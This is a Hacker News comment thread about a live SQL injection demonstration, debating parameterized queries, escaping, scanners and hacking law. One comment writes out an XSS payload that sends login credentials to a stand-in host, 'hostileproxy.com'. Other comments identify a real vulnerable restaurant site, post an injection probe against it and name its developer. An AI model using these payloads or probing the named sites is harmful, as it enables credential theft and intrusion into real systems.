103 comments

[ 3.7 ms ] story [ 197 ms ] thread
It's easy to tell someone about security, but actually demonstrating vulnerabilities really drives the problem home. That said, something as simple as NOT trusting any input and sanitizing it would solve 90% of these problems.
"Screw input validation, love output normalization."

http://news.ycombinator.com/item?id=785549

Output normalization: solves various problems like log injection and XSS

Input validation: solves SQL and other injection issues.

If you're not doing both, you're probably vulnerable somewhere. There is no magic bullet.

Ah, I am classifying a SQL statement as an output that is sent from the program to the database. Anything you put in the SQL will have to be normalised.

For example, you might have a name in the database. What if someone is called O'Beirne? How do we get this into the database? Do we only allow them to have the name OBeirne?

Escaping will get you killed. Do you know what %u2032 means? +ACc-? %ef%bd%b1? Parameterize the query.
Ignoring the part about PHP not knowing the difference between a byte and a character...%2032? There are databases where something other than ASCII single quote will terminate a string?
Sure. It depends on the database, the way the query is constructed, and the way the handle is initialized. But the bigger problem is what the web stack does to the query before it hits the database.

People have been playing charset games to get past SQL quoting for almost 10 years now, and not just in PHP.

Sure, that's fine.

But what if someone passes you an email address that's really 500 comma-separated email addresses?

What if someone passes 'admin=true' to your user update URL?

Your output sanitization doesn't do much for those.

You are quite right, you do need to white-list the valid inputs for reasons other than SQL injection.

I did not explain very clearly. What I was trying to say was that output normalisation will prevent SQL injection attacks.

I am considering the components of the SQL statement, such as the string O'Beirne, to be things that have to be normalised before being output to the database in the SQL statement. This output normalisation, as the other replies to my post have correctly said, is best done for you by a library. It cannot be done properly by restricting the inputs, as my O'Beirne example shows, only by output normalisation of the SQL.

But output normalization will not prevent SQL Injection attacks, so I'm pretty unclear on what you're trying to say.

I think you're trying to say that content neutralization (turning ' into &quot;, for instance) stops SQLI. It might or it might not, depending on the vector (tablespace injection doesn't care about metacharacters, for instance). It's at least more accurate than saying "if you make sure that the web app doesn't spit out [!@#$%^&*(){}:"<>?] you're safe".

Maybe the words 'output normalisation' are the point of confusion. I am using them as in this thread

http://www.reddit.com/r/programming/comments/86kgp/xss_cross...

which is the context of my quote of larholm above and is a discussion about this page

http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Pr...

Perhaps this is not common usage, but within this context I believe I am correct in saying output normalization is what prevents SQL injection.

larholm goes on to say:

"The lack of output normalization IS the security vulnerability."

"You can either normalize your output for each specific location as you encounter it, or normalize your input once in advance for all current and future output locations."

"The former beats the latter, as it is impossible for you to know how the data will be output in the future."

which also seems correct.

What is "tablespace injection"? I just googled it and there are no references to it anywhere.

http://www.google.com/search?q=%22tablespace+injection%22...

"But what if someone passes you an email address that's really 500 comma-separated email addresses?"

If I understand the idea of output-normalization correctly you'd keep an email address that's really 500 comma-seperated addresses in the database in exactly that form, but when it came time to send an email you would normalize the value, and at that stage you would check for such a case and handle it as appropriate (i.e. remove all commas, send to only the first, etc.) The point is that you don't try to create a stored value that can be used safely everywhere, rather you make the value safe at each instance where it's used.

P.S. This appears to be the relevant conversation, interesting reading: http://www.reddit.com/r/programming/comments/86kgp/xss_cross...

Ignore that other person saying to escape the quote -- do as the wikipedia article they linked says, and use parametrized queries. This does all the escaping for you, and unlike escaping, makes it much less likely that something will slip between the cracks.

(There's almost never a good reason to construct SQL on the fly.)

Parametrized queries still use escaping. The only difference is instead of you doing the escaping and query construction you're letting someone else's code handle it for you. (Code I would assume is far better tested than yours)
a) More importantly, they enforce a discipline on you: never treat data as code.

b) I'm guessing there are plenty of databases that execute parametrized queries entirely differently than a plaintext ones, including the absence of an escaping step. Since the whole point of quoting + escaping is to demarcate the "data" parts of a query, and you've already done that with parameters, there's no reason a query engine can't use the parameter directly rather than run it through a useless escape then parse-and-unescape cycle.

This isn't really an accurate description of what's happening in a parameterized query. In most cases, parameterized queries have already been parsed by the time inputs are interpolated into them; if you look at the protocol on the wire, you can see the difference between query structure and slots.

SQL Injection vulnerabilities happen when inputs influence the parsing of the query. You can't do that when the database already has an AST for the query.

Parameterized queries are not just a different kind of quoting.

Exactly correct - and if you are using Oracle and not using parameterised queries (known as bind variables in the Oracle world), you are quickly going to have performance problems too. That's not the case with MYSQL as it doesn't have a cursor cache in the same way Oracle has. I have no idea about Postgres or SQLServer.

A rule of thumb is that if you are concatenting user input strings into your SQL query strings you are doing it wrong.

Remember that parameterized queries aren't a panacea. There are plenty of things that don't parameterize well, such as table names, sort orders, and limits.
(comment deleted)
Not always. A few years ago, I demonstrated for a business owner a simple set of breaks to his website that allowed me to download, install, and execute code on his server and then use it to look and and download every file on the system. He understood that his source code (the "crown jewels" as he called it) was therefore vulnerable, but never did anything about it.
Damn, that's a "well done sir" type of article.
Yeah. He should have titled it "I'm the man"
Funny. This is like shooting fish in a barrel.

What are the chances of getting this SQL injection attack vector served on a silver plate right when he needed it?

What are the chances of getting this SQL injection attack vector served on a silver plate right when he needed it?

In my experience? Frighteningly real. You could also ask, "What are the chances of finding an application that has quadratic, cubic, or exponential scaling problems served on a silver plate right when he needed it?", and I'd also have the same reply - frighteningly real.

The most fun I've had in my days was not only demonstrating such security holes, but also finding laughably bad scaling issues while I was running amok. The most frightening thing is, I'm not referring to podunk little companies, but wholesalers or manufacturers with 9 and 10-digit annual revenues. And not small internal apps, but their main presence on the web.

Though I'll say, even as a contractor, these gigs are never enjoyable simply because - despite best trying to avoid it - you've managed to embarrass some people on an epic scale. Once you've fixed what you've been paid for, most places don't look to keep you around much longer unless they truly have a "what's right, not who's right" philosophy.

I decided to try to inject some SQL to a form--I didn't specially seek it out--and to my surprise it worked. It seems to be really common, especially if the site looks shoddy and ends with .php.
The worst for me are scalability issues for database driven applications. I just had a conversation go like this.

"So your application produces 60MB of output. The LUNs on the SAN the database server has available is capable of easily sustaining 250MB/s of throughput. Assuming ideal conditions, how fast should it produce the results."

Uh.. about 0.3 seconds?

"Right. However we perform a lot of complex calculations and use some complex logic. Let's assume the penalty for this is two orders of magnitude. How long should it now take?"

About 30 seconds?

"Right. So now do you see why I consider an application that takes 3 1/2 hours to produce the results to have a lot of low-hanging fruit?"

Yeah...

----- -----

I spent the day performing a cursory review. I made three recommendations, only one of which requires non-trivial code changes (but minor in the overall scheme of things), but the overall risk of introducing regressions is very low. Estimated reduction is 97%, which would get it down to about 6 1/2 minutes. Actually refactoring most of the application could certainly get it close to the 30-second mark. The first improvement was simply querying a painful view (which is due to a fundamental schema design flaw) once, instead of querying it N times. It's being tested in their QA department. 82% runtime reduction improvement right off the bat (so from 3 1/2 hours down to 38 minutes)

Not a small company. Very high average level of education amongst the staff. Very bright group in general. Very poor design decisions resulting in very expensive hardware choices to compensate (i.e. FusionIO for a SQL Server tempdb!).

As much as I abhor PHP, this is less a reflection of the language itself and much more a reflection of the people who seem to use it most. The low barrier to entry in getting a website up with PHP results in lots of people who have no business programming writing websites.
Also, where conditions allow, the developers who know better will generally prefer better languages than PHP--leaving disproportionately more of the people who don't know better on the PHP side of the fence...
Well, I just searched for "salt lake web design", tried three or four sites found on random portfolios, and none of them had an obvious SQL injection. I'm sure it's much, much too common, but I seriously doubt its prevalence constitutes even a simple majority of professional web work.
So I did a bit of digging and found the website in question:

http://www.mythaichicago.com/default.asp

Looks like they're still experiencing "issues" - http://www.mythaichicago.com/order.asp?locationid=000004 reports:

  "Sorry, On-line ordering is currently undergoing service."
No clear indicator who the web design company behind it is though.
How did you dig that one backwards... ? As far as I could tell you only had an image of the site.....?
Screenshot + TinEye?
Yep just from images (and Google) - I examined one of the images from the post at a higher resolution (by clicking on it) and took a look at the map on the right-hand side.

It was a map of Thailand, so that gave me the type of restaurant. From there it was just a simple Google query combining that knowledge with the URL structure revealed in the blog post:

http://www.google.co.uk/search?q=thai+restaurant+locationid%...

Then it was just a case of working through the list of possibilities (it was second on that list) :-)

Good searching. Looks like you've found quite a few more vulnerable sites too.
I would wager to say a large majority of .asp sites out there are vulnerable to these types of issues.

Most were coded before common sanitization and security practices were observed during dev, not to mention built in to frameworks.

Obviously he just zoomed in and kept saying "enhance image" to his computer until the answer was revealed in a tiny shadow on one of the pixels...
Damn this thing and it's ability to only upvote once!
>No clear indicator who the web design company behind it is though.

At least the content isn't hidden behind a wall of Flash.

Very interesting. This is one of my favorite lunch spots; the people that actually run the restaurant are a friend of a friend, and they are super-nice. Too bad they got caught up in this.
The one by DePaul is a block away from our office.
(comment deleted)
How history repeats itself.

Years ago I struggled to convince a group of sysadmins that server hardening, firewalls and patching were essential for any Internet connected system. I heard things like "there's a million computers on the Internet, why would anyone bother mine" [unless they wanted to use your server to hack someone else or store their porn|warez]" and "nobody can port scan the entire Internet, they'll never find my server" [unless they control an army of scanners].

I made significant progress by having my group perform live IIS5 directory traversal & telnet MTIM attacks at a conference of local sysadmins. (yep, this was a long time ago)

Similarly, today we have a significant number of web developers who don't think it can happen to them, until it does.

(comment deleted)
Unfortunately, server hardening, firewalls, and patching wouldn't have prevented this problem; it's buried in the actual application code.
I fully understand that. It was intended to be an analogy.

Let me try again.

A decade ago, clueless sysadmins put unpatched servers directly on the Internet with no firewall protecting ports that didn't need to be exposed, with no hardening, no patching, etc. An hour later, after their shiny new server got rooted, the clueless sysadmins stood there with the classic deer-headlights look, wondering what just happened.

Today, with OS's that have reasonable default configs on as-shipped, and with firewalls the norm, it's the application developers that are clueless id10t's standing around with the deer-headlights look.

Any details on this ? : "After getting permission to use a tool we here at the ASC lovingly refer to as the SQL Injector"

What's the tool ?

I'd love to know this too.

Edit: looks like Webinspect: https://h10078.www1.hp.com/cda/hpms/display/main/hpms_conten...

WebInspect looks interesting, but for this usage, does it actually offer anything above Metasploit?

(The marketing copy for it doesn't give much detail, though it does claim you can use this for hipaa compliance, among other things https://h10078.www1.hp.com/cda/hpdc/fetchPDF.do)

Yes. Metasploit is a delivery vehicle for known exploits, principally for non-web applications. It's not designed to find new web vulnerabilities.

WebInspect is a web application scanner. It includes a not-very-useful database of known application vulnerabilities, but also has a well-regarded fuzzer that generates random scary inputs to every input it finds on a site that it spiders. That's what Raf is talking about (his job is, in part, to promote that very expensive tool).

You don't want WebInspect, or AppScan, or any other scanner. If you're a professional, you want Burp Suite, which costs something like EU120 and does just as good a job as a fuzzer as WebInspect. If you're a hobbyist, you want OWASP WebScarab, which is free. Both are Java apps, and will run anywhere Java does.

Lovely to know they aren't smart enough to check their other urls:

http://www.mythaichicago.com/menu.asp?locationid=000004%20OR...

also, the site was built with dreamweaver. Telltale JS markers. Makes me think it's a web agency/ad agency type.

EDIT:

these are the people responsible:

http://www.orangefuse.com/ - who built www.linusinc.com. I chose another orangefuse site at random and produced an XSS error and a potential path disclosure error (i.e. read other things on the server).

You were able to figure out the orangefuse site? It's flash hell. Only half my clicks are even registering.

edit: christ they suck. Check out justlines.com (warning: autoplay sound). Click on portfolio and try to actually use the scrolly thing on the left.

I can not see how it's possible for people to produce such crap and be okay with it. I couldn't work there without having my perfectionist tendencies causing me to go insane.
Be careful! People are not always reasonable about security testing, and if they're in the middle of an active investigation about a compromise, you can get slurped up into it by poking at them. That's a time suck and a hassle you do not want.
A good point. My gut tells me these people haven't truly gotten it yet. It doesn't take much to go, "hmm, i wonder if any other part of my application might be vulnerable" and these people certainly haven't done that.
It's the people that don't get it that you have to worry about, because they're just going to let their lawyers do the judging.
Could you delete that link? I clicked on it out of habit, but tptacek's comment has me paranoid that my IP is going to end up in an investigation. I'm guessing other people would prefer to just not have the option to click on it.
Eh I think you're ok - if they're tracking visitors that closely, they'd know that you came to that link from here after it was already made public. Plus ycombinator.com gets a ton of traffic so I'm sure you're not the only one. :)

But yea, probably not a bad idea to delete that link anyway...

You have no reason to think you're OK for clicking the link. Dazzlingly stupid things like this have happened to people before.
I don't think it would help my case if they knew the referring site was called Hacker News.
Nothing they would be able to do about it particularly. A large number of people probably clicked that link. Getting warrants (or the police) to track up all of the IP's isnt going to happen :)

Also: im not sure what they could do. Certainly it breaks no laws I know of.

It could be stretched to "unauthorized use of a computer system" which is the legal definition of hacking. It doesn't have to be difficult to qualify as criminal.
No becaus all those laws require them to prove an intent. Which in this case wouldn't wash :-)
You don't need to prove intent to send someone to jail. For some types of crimes intent changes the punishment but that's about it.
Incorrect; for computer misuse laws you have to prove intent - it's the most important part of it.

It's the reason most hackers or online criminals are convicted of other crimes.

(I work in this area and have studied the US laws quite recently).

EDIT: perhaps "show intent" is a better way of putting it.

Read up on: United States v. Shea, 493 F.3d 1110, (Ct. App. 9th Cir. 2007).

Knowing that someone used your password to send information is enough.

"The court of appeals acknowledged that analysis of the "transmission" element and its required proof was a novel issue for the court under the specific provisions of 18 USC § 1030(a) (5) (A). Yet, the court interpreted the word transmission under this provision by assimilating this term with the wire fraud crime, which also requires the element of transmission. Thus, the court used the Wire Fraud Act interpretation of the word transmission and held that "circumstantial evidence is sufficient to prove that the transmission has occurred." Therefore, the analysis concentrated on the prosecution proof that transmissions were associated to defendant's passwords, despite the employee's claim that the network was not secured and that other employees could have accessed those passwords."

Indeed; but look carefully at the Wire Fraud Act:

"To commit wire fraud, one must (1) devise, or intend to devise, a scheme or artifice to defraud another person on the basis of a material representation, and (2) do it with the intent to defraud, and (3) do it through the use of interstate wire facilities (i.e. telecommunications of any kind)."

Every single piece of literature (including that case) will include the word "intentionally" somewhere :) It's the bread and butter for hacking laws.

(I cant find much on the case you cite specifically, but from what I did find it sounds like the point your discussing is the proof that it was him that did the dirty deed - when other people could have had his password and done it. Which is an important point, but separate from intent - which they would have still had to prove).

I bet the report will say "it was hacked after a large number of people visited it, coming from a site called 'Hacker News'".
I'll be next time he gives a talk he will already scope out a website so he'll be prepared to just show them and make them believers.
The interesting part of the article is that someone in the audience with a web site gave him a URL that he had not seen before and he did this exercise real-time.
I've read many instances where this story continues with the room becoming convinced that the "messenger" hacked the site and calling the police who by default listen to the guys in suits over the technical expert.
The interview I feel worst about was when we had a "web programmer" coming in, and he linked his personal website as an example of what he could do. So, I found an XSS in his login form (first try, first field I tried...), showed it to him, and asked him what just happened. He did eventually get around to it, after two other wrong suggestions, but it took him some time.

Arguably, it was a kick-ass interview question, but I still feel sort of bad about it.

What do you mean you found an XSS "in his login form"?

The things you enter into a login form aren't normally displayed to any other users. If you mean you can run arbitrary JavaScript in your own browser, there are much easier ways to do that and you didn't find a vulnerability.

He displayed the value you entered as the user as part of the error message when your login failed, as in "User jerf does not exist." No escaping. Login form used GET, not POST. (Not that that fixes it, but the querystring is that much easier to exploit.) Classic XSS.
For it to be a XSS, the javascript has to run in a different context (someone else browser). I'd say the issue you found is worrisome, but not in itself a vulnerability.
Which rolls us right back around to the point made in the original article, which is that people just don't believe it's a problem until you damn well exploit it right in front of them. This can include programmers.

But to spell it out for you: Cross-site scripting includes as a vector the ability to cause a person to click on a hostile link and cause the resulting page to do something nasty and unexpected. Suppose I post a link in a forum that contains "?username=jerf'><script>document.forms[0].action="htt://hostileproxy.com/userscrape;something_to_hide_login_error()</script><span x='" and tell someone they have to log in. (I changed http to htt to bypass HN linkification.) Now their login goes to my proxy instead, which transparently steals the username and password, and bounces them back to the original site, leaving the user oblivious.

That's why I mentioned it used GET and not POST; it's somewhat harder to fake up a post in a forum (though it's not impossible, I've done it), but faking a "GET" is just a matter of typing the link in. Even if the forum displays the entire link, some people will click. Not everybody is a programmer.

As for whether this is a real threat, don't even try to tell me this isn't, because I've done this. I didn't steal any logins or do anything nasty, but I definitely got far enough to do it if I wanted to. (In fact, same problem: I tried to report it, and the site owner didn't believe it was a really-exploitable problem, either. Yeah... it was.) I don't even say this like it's a point of pride because it was like taking candy from a baby. Just start sticking ', ", and in the case of textareas, </textarea> in places they don't belong and you too will rapidly join the ranks of leet hacker.

(For double-bonus points, it is sometimes possible to create HTML content that will automatically fire Javascript off in a forum; try something like <img src="does.not.exist.jpg" onerror="window.location='htt://hostile.com'">, just as one for-instance. Now, use a browser vuln to load your choice of spyware onto the user's machine. XSS is more important than it seems; in some cases it can lead to your viewer's machines getting completely owned.)

You're indeed correct, both on the technical issue, and the more general question of exploit demonstrations being the best way to understand vulnerability issues. Thanks for the detailed explanation.
You can do much better than that onerror exploit if the site supports arbitrary <img src> attributes, even if they filter everything correctly otherwise.

In IE6, and older versions of Opera, <img src=target> is identical to <script src=target> if it sniffs the content of the response from the target to be javascript. Really.

I feel obliged to post the related XKCD comic (Bobby Tables): http://xkcd.com/327/
I've actually pulled out that comic twice in the last few months -- one time was last week doing a code review of a custom CMS. The progression on the developers' faces was something along the lines of: confusion (why are we looking at a web comic?); amusement (that's pretty funny); horror (our code has SQL injection problems!).
a nice side-benefit of nosql databases is this massively underestimated problem (usually, depends on the product) going away
There is a huge "maybe" attached to that statement. It's also possible that several of the popular NoSQL databases could have key patterns that will corrupt memory in their C-code runtimes. There are good reasons to consider NoSQL databases, but security isn't one of them yet.
trying to understand what you just said: do you mean they may have buffer-overrun vulnerabilities, just as they are new projects? a lot of nosql projects are written in erlang and java btw.
I don't like the term "buffer overflow" because things haven't been that simple since the '90s (the recent Aurora kerfluffle happened because IE freed memory in the wrong order, no overrun involved). But yes, the point is you're trading a problem in a domain where we know how to mitigate problems for a maybe less likely problem in a domain where we have no idea how to mitigate problems.
Is there any reason why sql databases should be less vulnerable to that other type of problems?
Yes: because they've been tested extensively for over a decade for them, especially over the attack vectors exposed on web applications.
I'm pretty sure couchdb has a query language which can receive injections. If you pass JavaScript into mongodb theoretically you could open an injection problem if you don't use parametrization. But unless your nosql database has a native API, it still probably is vulnerable to command injection in the same way SQL databases are. Nothing really special about nosql itself that prevents this.
Preferred and typical use of MongoDB is with no javascript in the queries. There really is a huge reduction of risk for this one particular attack.
you may be right that i've overgeneralized to the other products based on my experience with mongodb; all i know for sure is mongodb has some nice properties here.
Yes mongo language drivers do make it harder to open up injection problems, but php extension like mysqli also provide similar protection. However the SQL-oriented nature does make it more likely that someone merges uncleaned input into a command.
That's the same side benefit that every SQL database has built in too, right? Pretty much every relational database has supported parameterized queries for, like, ten years. They're uninjectable and actually less work than constructing strings.

It's amazing that people are still constructing SQL queries as strings in 2010.

Sometimes you also need to change the query itself, i.e. the tables that are joined, or the sort order.
Indeed. And you either do that in Stored Procedures using parameters that you've passed in (without manipulating them as strings), or you construct your parameterized query on the webserver with the joins and sorts that you need, and then pass it to the database along with the parameters it needs to stick in.

Like I said. It's a solved problem, and has been so for a dozen years now.

Rasmus built a tool while he was at Y! called Scanmus which doing automated probing. I've seen him demo it to students while we were giving classes at universities. It's amazing how eye opening that experience can be.

P.s. no you can't have a copy of Scanmus P.p.s if you are really curious just Google the name

Disclaimer: I still work for Y! :) and I'm proud of our security guys

P.p.p.s no that wasn't a challenge

If you have enough money to keep a single developer on staff, you have orders of magnitude more budget than it takes to license a copy of Burp Suite. Burp is the de facto pen testing industry standard, and it's a fantastic QA tool in general. If you have a product and you don't know about Burp, you should buy it pretty much immediately.
(comment deleted)
This is certainly embarrassing, but it's becoming really common. I wonder if there is anything that can be done to really make a dent in this problem across the web, I don't mean just fixing it on the site that you/I own, but ways of making it drop dead easy for an owner to spot SQL injection or XSS issues, or maybe software layers (proxies, browser standards, etc) that make it harder for a vulnerability to be exploited.